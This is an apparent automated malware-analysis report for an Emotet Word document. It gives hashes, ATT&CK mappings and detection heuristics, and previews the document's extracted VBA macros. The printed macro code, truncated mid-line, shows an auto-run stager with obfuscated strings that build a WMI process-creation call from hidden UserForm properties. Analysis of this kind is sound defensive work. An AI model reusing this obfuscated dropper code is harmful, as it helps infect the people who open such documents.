Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 00f12705b2439b82…

MALICIOUS

Office (OLE)

217.5 KB Created: 2020-08-27 19:13:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: c0a0b47b3dfedbee2f24dbdce3ff1c9c SHA-1: 43100eb37b5cfd896fb17fdc0386b367cdd5c298 SHA-256: 00f12705b2439b82e2cf4f9de271c6aa850ab1e3b8bef935f8f3959bd3701cca
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection name further supports this attribution. The VBA code is designed to execute obfuscated commands, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10175 bytes
SHA-256: c8fa06fc63ee0918409e122c2c3190357ad554fe9675a98aa08416d8a7efb709
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cm32on_ka0jfus9s"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
F5rwxzbfuowsqkbdt.Xbq37kxh8w2e
End Sub


Attribute VB_Name = "F5rwxzbfuowsqkbdt"
Attribute VB_Base = "0{2708258E-68E4-450C-8F34-74BB2E99DE23}{0B41BF71-69B7-4FC2-AC01-3487C9193702}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xbq37kxh8w2e()
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Jcot4f5o9yiafq = 100
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Nv0u0czi39nynxb = ChrW(Jcot4f5o9yiafq + (xw + 5 + jwb + 10))
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Cs3v35yrk8qui8trq = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + Nv0u0czi39nynxb + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + F5rwxzbfuowsqkbdt.Iu170235ythnw + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Bqqta6d91epi = Onlfvq7je6_cu2(Cs3v35yrk8qui8trq)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Nfczvs1yy8iuee = F5rwxzbfuowsqkbdt.Hhvan48lpp5.ControlTipText
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zy
... (truncated)

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